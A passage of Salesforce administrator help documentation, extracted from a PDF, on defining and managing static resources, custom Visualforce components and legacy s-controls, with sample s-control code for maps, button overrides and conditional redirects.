To create a static resource: 1. Click Your Name > Setup > Develop > Static Resources. 2. Click New Static Resource. 3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the Visualforce markup is updated to reflect that change. 4. In the Description text area, specify an optional description of the resource. 5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. 6. Set the Cache Control:
Private specifies that the static resource data cached on the Salesforce server shouldn't be shared with other users. The static resource is only stored in cache for the current user's session.

Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
Public specifies that the static resource data cached on the Salesforce server be shared with other users in your organization for faster load times.

The W3C specifications on Header Field Definitions has more technical information about cache-control. Note: This feature only works for Sitesenabled organizations that use the static resource.

7. Click Save.

1937

Develop

Managing Static Resources

Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data.

See Also:
What is a Static Resource? Managing Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Managing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit static resources: Customize Application

After creating static resources, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Static Resources to display the Static Resources list page, which shows the list of resources defined for your organization. From this page you can: Click New Static Resource to define a new static resource. Click a resource name to display detailed information about the page, including its MIME type and size. Click Edit next to a resource to modify the resource's name or to upload a new version of the resource. Click Del to remove a resource. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 1782.

See Also:
What is a Static Resource? Defining Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

1938

Develop

Viewing and Editing Static Resources

Viewing and Editing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, or delete static resources: Customize Application

Click Your Name > Setup > Develop > Static Resources and click the name of a resource to view its details, including its MIME type, the size of the resource in bytes, when it was created, and when it was last modified. From the detail page, you can do any of the following: Click Edit to edit the resource. Click Delete to delete the resource. Click Clone to create a copy of the resource. You must specify a new name for the new resource. Click Where is this used? to view a list of all references to the static resource in your organization.

See Also:
What is a Static Resource? Defining Static Resources Managing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

What is a Custom Component?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>, that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library. A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists of: A set of Visualforce markup demarcated by the <apex:component> tag An optional component controller written in Apex that allows the component to perform additional logic, such as sorting items in a list, or calculating values

For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color, and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your

1939

Develop

Defining Custom Components

organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components such as <apex:dataTable> or <apex:relatedList>. Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility because: Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that instance of the component. This behavior differs from that of templates, which do not have a way of passing information from the page that uses a template to the template's definition itself. Custom component descriptions are displayed in the application's component reference dialog alongside standard component descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because they are defined as pages.

See Also:
Defining Custom Components Managing Custom Components Viewing and Editing Custom Components Developer's Guide: Visualforce Developer's Guide Developer's Guide: Force.com Apex Code Developer's Guide

Defining Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create custom components: Customize Application

To create a custom component: 1. 2. 3. 4. In Salesforce click Your Name > Setup > Develop > Components. Click New. In the Label text box, enter the text that should be used to identify the custom component in Setup tools. In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 5. In the Description text box, enter a text description of the custom component. This description appears in the component reference with other standard component descriptions as soon as you click Save. 6. In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to 1 MB of text, or approximately 1,000,000 characters. 7. Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use. Generally, you should use the default values for all versions. This associates the component with the most recent

1940

Develop

Defining Custom Components

version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package components or functionality that differs from the most recent package version. 8. Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes and continue editing your component. Your Visualforce markup must be valid before you can save your component. Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that allows you to create a new component definition (including any specified attributes) based on the name that you provided for the component. For example, if you have not yet defined a custom component named myNewComponent and insert <c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component> <apex:attribute name="myattribute" type="String" description="TODO: Describe me"/> <!-- Begin Default Content REMOVE THIS --> <h1>Congratulations</h1> This is your new Component: mynewcomponent <!-- End Default Content REMOVE THIS --> </apex:component>

You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then clicking Edit next to the myNewComponent custom component.

See Also:
What is a Custom Component? Managing Custom Components Viewing and Editing Custom Components Managing Version Settings for Custom Components Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, delete, or set versions for custom components: Customize Application

To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with specific, known behavior.

1941

Develop

Defining Custom Components

A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Note: Package components and custom component are distinct concepts. A package is comprised of many components, such as custom objects, Apex classes and triggers, and custom components. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for a custom component: 1. Edit a custom component and click Version Settings. Note: You can only access the version settings for a custom component if you edit a custom component by clicking Your Name > Setup > Develop > Components. You cannot access them if you edit a custom component using Developer Mode. 2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the custom component. 3. Click Save. To configure the package version settings for a custom component: 1. Edit a custom component and click Version Settings. 2. Select a Version for each managed package referenced by the custom component. This version of the managed package will continue to be used by the custom component if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the page or component. 3. Click Save. Note the following when working with package version settings: If you save a custom component that references a managed package without specifying a version of the managed package, the custom component is associated with the latest installed version of the managed package by default. You cannot Remove a custom component's version setting for a managed package if the package is referenced by the custom component. Use Show Dependencies to find where the managed package is referenced.

See Also:
What is a Custom Component? Managing Custom Components Viewing and Editing Custom Components Managing Packages About Package Versions Developer's Guide: Visualforce Developer's Guide

Managing Custom Components


1942

Develop

Managing Custom Components

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom components: Customize Application

After creating custom components, you can view, edit and delete them. Click Your Name > Setup > Develop > Components to display the Components list page, which shows the list of custom components defined for your organization. From this page you can: Click New to define a new custom component. Click a custom component name to display detailed information about the component. Click Edit to modify a component's name or markup. Note: A icon indicates that a Visualforce custom component is in an installed managed package. You cannot

edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom component in a previously released managed package will be deleted on the next package upload. You can choose to undelete the Visualforce custom component through the package detail page. Click Del to remove a custom component from your organization. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 1782.

See Also:
What is a Custom Component? Defining Custom Components Viewing and Editing Custom Components Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Custom Components

1943

Develop

Viewing and Editing Custom Components

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, delete, or set versions for custom components: Customize Application

Click Your Name > Setup > Develop > Components and click the name of a custom component to view its definition. From the detail page, you can do any of the following: Click Edit to edit the custom component. Click Delete to delete the custom component. Click Clone to create a copy of the custom component. You must specify a new name for the new component. Click Where is this used? to view a list of all references to the custom component in your organization. Click Show Dependencies to display the items, such as another competent, permission, or preference, that must exist for this custom component to be valid. For more information, see Understanding Dependencies on page 1801.

To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce and the API. If the page references package components, such as a custom object, in an installed managed package, the version settings for each managed package referenced by the custom component are saved too. Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent is the value of the Name field on the custom component definition.

The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component, add it to a Visualforce page and then view the page.

See Also:
What is a Custom Component? Defining Custom Components Managing Custom Components Managing Version Settings for Custom Components Developer's Guide: Visualforce Developer's Guide

Defining Custom S-Controls

1944

Develop

Defining Custom S-Controls

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce such as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the Salesforce user interface, including the ability to create and display your own custom data forms. An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX control, an Excel file, or a custom HTML Web form. To define an s-control: 1. Click Your Name > Setup > Develop > S-Controls. 2. Click New Custom S-Control, or click Edit to change an existing custom s-control. 3. Enter the following attributes: Attribute Name
Label S-Control Name

Description The text that displays on page layouts for embedded s-controls. The unique name for the s-control. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Determines how you plan to use the s-control: HTML Select this option if you want to enter the content for your s-control in the Content area. URL Select this option if you want to enter the link or URL of an external website in the Content area. Snippet Snippets are s-controls that are designed to be included in other s-controls. Select this option if you want to enter the content for your s-control snippet in the Content area. For common uses of snippets, see Useful S-Controls on page 1952.

Type

Description

Text that describes the s-control. This only displays to administrators.

1945

Develop

Defining Custom S-Controls

Attribute Name
Content

Description Enter the content or source for your s-control. You can enter up to 1 million characters in this field. The HTML code defines exactly how your users should view the custom s-control. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. To reference a file that you uploaded in the Filename field as part of the custom s-control, select Custom S-Control from the Select Field Type drop-down list, and choose Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge field. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list. Tip: Internet standards require special encoding for URLs. Salesforce automatically encodes the text from any merge field you insert into a link. Encode any additional text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content Source is URL. If you need to use double quotes, encode them manually. For example, to generate the URL http://www.google.com/search?q="salesforce+foundation", use this content:
http://www.google.com/search?q=%22salesforce+foundation%22. Filename

Upload a file to display when you add this custom s-control to a custom link. The file can contain a Java applet, Active-X control, or any other type of content you want. This option only applies to HTML s-controls.

1946

Develop

Defining Custom S-Controls

Attribute Name
Prebuild In Page

Description This option keeps the s-control in memory, which may improve performance when the page is reloaded because the s-control does not have to be reloaded as well. This option only applies to HTML s-controls. The default encoding setting is Unicode (UTF-8). Change it if you are passing information to a URL that requires data in a different format. This option is available when you select URL for the Type.

Encoding

4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions. 5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing. Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix, Salesforce automatically prepends them with the your namespace prefix. 6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on page 1166. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating object-level help, see Defining Object-Level Help on page 1485.

See Also:
Useful S-Controls Tips on Building S-Controls Understanding Global Variables Viewing and Editing S-Controls Deleting Custom S-Controls About S-Controls Documentation Resources for Force.com Developers

About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use s-controls to add your own functionality to your Salesforce organization. Whether you are integrating a hosted application of your own or are extending your current Salesforce user interface, use s-controls to store your code or refer to code elsewhere. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form. S-controls have the following attributes:

1947

Develop

Defining Custom S-Controls

Attribute Name
Label S-Control Name

Description The text that displays on page layouts for embedded s-controls. The unique name for the s-control. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Determines how you plan to use the s-control: HTML Select this option if you want to enter the content for your s-control in the Content area. URL Select this option if you want to enter the link or URL of an external website in the Content area. Snippet Snippets are s-controls that are designed to be included in other s-controls. Select this option if you want to enter the content for your s-control snippet in the Content area. For common uses of snippets, see Useful S-Controls on page 1952.

Type

Description Content

Text that describes the s-control. This only displays to administrators. Enter the content or source for your s-control. You can enter up to 1 million characters in this field. The HTML code defines exactly how your users should view the custom s-control. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert. To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function. To reference a file that you uploaded in the Filename field as part of the custom s-control, select Custom S-Control from the Select Field Type drop-down list, and choose Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge field. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.

1948

Develop

Defining Custom S-Controls

Attribute Name

Description Tip: Internet standards require special encoding for URLs. Salesforce automatically encodes the text from any merge field you insert into a link. Encode any additional text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content Source is URL. If you need to use double quotes, encode them manually. For example, to generate the URL http://www.google.com/search?q="salesforce+foundation", use this content:
http://www.google.com/search?q=%22salesforce+foundation%22. Filename

Upload a file to display when you add this custom s-control to a custom link. The file can contain a Java applet, Active-X control, or any other type of content you want. This option only applies to HTML s-controls. This option keeps the s-control in memory, which may improve performance when the page is reloaded because the s-control does not have to be reloaded as well. This option only applies to HTML s-controls. The default encoding setting is Unicode (UTF-8). Change it if you are passing information to a URL that requires data in a different format. This option is available when you select URL for the Type.

Prebuild In Page

Encoding

See Also:
Useful S-Controls Defining Custom S-Controls Documentation Resources for Force.com Developers

Considerations for S-Controls in Force.com AppExchange Packages


If you are developing Force.com AppExchange packages with s-controls or are planning to install a AppExchange package with s-controls, you should be aware of the following limitations: For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access. For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in an s-control before relying on access restriction for s-control security.

1949

Develop

Defining Custom S-Controls

If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access.

S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. The following terminology is used for custom s-controls in Salesforce: Advanced Function A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced function returns the content from an s-control snippet. For more details on advanced functions, see Operators and Functions on page 1107. Global Variable A special merge field that you can use to reference data in your organization. For more information, see Understanding Global Variables on page 1957. S-Control Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form. Snippet A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 1952.

Viewing and Editing S-Controls

1950

Develop

Defining Custom S-Controls

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. To view the details of a custom s-control, click Your Name > Setup > Develop > S-Controls and select the s-control name. For a description of the s-control attributes, see About S-Controls on page 1947. To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 1944. To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 1951. To view a list of other components in Salesforce that reference the s-control, click Where is this used?. For more information, see Viewing References to Salesforce Components on page 1175.

See Also:
Useful S-Controls Tips on Building S-Controls About S-Controls Documentation Resources for Force.com Developers

Deleting Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Salesforce empowers you to reference s-controls in many different areas within the application. Before deleting a custom s-control, check where it is used. To delete a custom s-control: 1. Click Your Name > Setup > Develop > S-Controls.

1951

Develop

Defining Custom S-Controls

2. Click Del next to the custom s-control you want to delete. 3. Click OK to confirm. Note: You cannot delete a custom s-control that is used elsewhere in Salesforce. Deleted s-controls do not go into the Recycle Bin.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates Setting Custom Buttons and Links Defining Custom S-Controls Useful S-Controls Tips on Building S-Controls

Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom buttons and links are available in: All Editions S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Overriding standard buttons and tab home pages is available in: Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use the following samples to get started using s-controls: S-Controls for Detail Pages S-Controls that Override Standard Buttons and Tab Home Pages S-Controls that Include Snippets

See Also:
Defining Custom S-Controls Tips on Building S-Controls Understanding Global Variables About S-Controls Overriding Standard Buttons and Tab Home Pages Documentation Resources for Force.com Developers

1952

Develop

Defining Custom S-Controls

S-Controls for Detail Pages


Yahoo Map Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an HTML s-control and add it to your account detail page layout:
<html> <head> <script type="text/javascript" src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo"> </script> <style type="text/css"> #mapContainer { height: 200px; width: 100%; } </style> </head> <body> <div id="mapContainer"></div> <script type="text/javascript"> // Create a map object var map = new YMap(document.getElementById('mapContainer')); // Display the map centered on given address map.drawZoomAndCenter("{!Account.BillingStreet}, \ {!Account.BillingCity},\ {!Account.BillingState},\ {!Account.BillingPostalCode}", 3); // Set marker at that address map.addMarker("{!Account.BillingStreet}, \ {!Account.BillingCity},\ {!Account.BillingState},\ {!Account.BillingPostalCode}", 3); </script> </body> </html>

S-Controls that Override Standard Buttons and Tab Home Pages


Add Product Override You may have your own code that you prefer to use for adding products to opportunities instead of the standard page. Use the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides the Add Product button on the Products related list of an opportunity. This type of override illustrates how related list buttons can contain merge fields from the master object as well as the detail. For example, the code below contains opportunity merge fields, which is on the master side of a master-detail relationship with opportunity products.
<html> <head> <script type="text/javascript" src="/soap/ajax/13.0/connection.js"> </script> </head> <body> <b>Opportunity Info:</b> <br> Opportunity ID: {!Opportunity.Id}

1953

Develop

Defining Custom S-Controls

<br> Opportunity Name: {!Opportunity.Name} <br> Opportunity Record Type: {!Opportunity.RecordType} <br> </body> </html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided. Then, override the add product action from the opportunity products object using the s-control. This example assumes you have record types on opportunities. Note: This example does not include the code to add products. The content in the body section simply illustrates how to use opportunity merge fields from the opportunity products related list. Replace the body section with your code. Conditional Override for Editing Leads You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days. Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your custom s-control to edit leads. Otherwise, use the standard lead edit action.
<script type="text/javascript"> //determine if the lead has been open longer than 30 days if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30) { //more than 30 days - display a custom scontrol page window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}"; } else { //30 days or less - display the standard edit page window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id, [retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}"; } </script>

To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the EditLeadsOpenLongerThan30 s-control. Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if statement that evaluates on the browser. The second is the Salesforce IF function that evaluates on the server and returns a single valuethe number of days the lead has been open, or zero if the lead is not open. Tip: Use the URLFOR function in this example to build Salesforce URLs rather than specifying individual URLs to ensure they are supported across releases. To display a standard Salesforce page without invoking the override, set the no override argument in the URLFOR function to true. Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.

1954

Develop

Defining Custom S-Controls

Edit Contact Override You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.
<html> <head> <script type="text/javascript" src="/soap/ajax/13.0/connection.js"> </script> </head> <body> <b>Contact Info:</b> <br> Contact ID: {!Contact.Id} <br> Contact Name: {!Contact.FirstName} {!Contact.LastName} <br> </body> </html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the body section. Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists. Note: This example does not include the code to edit contacts. The code within the body section only illustrates how to use contact merge fields to display information about the contact. Replace the body section with your code.

Interrupt Override for New Accounts Overriding standard buttons makes them unavailable in your entire Salesforce organization. However, you can override a standard action and redirect to that action from your s-control without getting into an infinite loop. For example, you can override the New button on accounts, perform your own custom process, and resume with the standard new account action without getting into an infinite loop. To do this, use the no override argument in the URLFOR function.
<script type="text/javascript"> alert("Hi, I am demonstrating how to interrupt New Account with an override. continue."); Click OK to

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}"; </script>

To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using the s-control. Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop. Conditional Accounts Tab Home Page Override You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page.

1955

Develop

Defining Custom S-Controls

To implement this, first create an s-control called ApplicantHomePage that contains the content to display to recruiters. Next create an s-control of type HTML using the following code to implement the conditional override logic:
<script type="text/javascript"> //determine the user profile name var recruiter = {!IF($Profile.Name = "Recruiter", true, false)}; //when the profile is recruiter - display a custom s-control page if (recruiter) { window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}"; } else { //when the profile is not recruiter - display the standard Accounts tab page window.parent.location.href="{! urlFor( $Action.Account.Tab , $ObjectType.Account,null,true)}"; } </script>

Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named Recruiter exists in your organization. Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

S-Controls that Include Snippets


Including Snippets Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides a header for a page that displays in a web tab. The page will have the title My Title. Use the $SControl global variable to reference a snippet. To implement this, create two snippets called Resize_Iframe_head and Resize_Iframe_onload and create an HTML s-control called Resize_Iframe_sample that includes the following code:
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title", theme = "modern"])} </body> </html>

For more information on using this function, see INCLUDE on page 1133.

Tips on Building S-Controls

1956

Develop

Defining Custom S-Controls

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls: Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Use the following tips when building s-controls: If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers. Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example, the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button. Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the organization has selected. The Theme1 value for this merge field represents the Salesforce Classic theme and Theme2 represents the Salesforce theme. To view this merge field in an example, see Useful S-Controls on page 1952. S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which can include one or more merge fields, functions, or global variables. When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the page. To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.

See Also:
Defining Custom S-Controls Useful S-Controls Understanding Global Variables About S-Controls Documentation Resources for Force.com Developers

Understanding Global Variables

1957

Develop

Defining Custom S-Controls

S-controls and formulas available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Custom buttons and links are available in: All Editions Visualforce available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
$Profile global merge field type available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom s-controls, formulas, or Visualforce pages: Customize Application

Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add to your custom component:

$Action
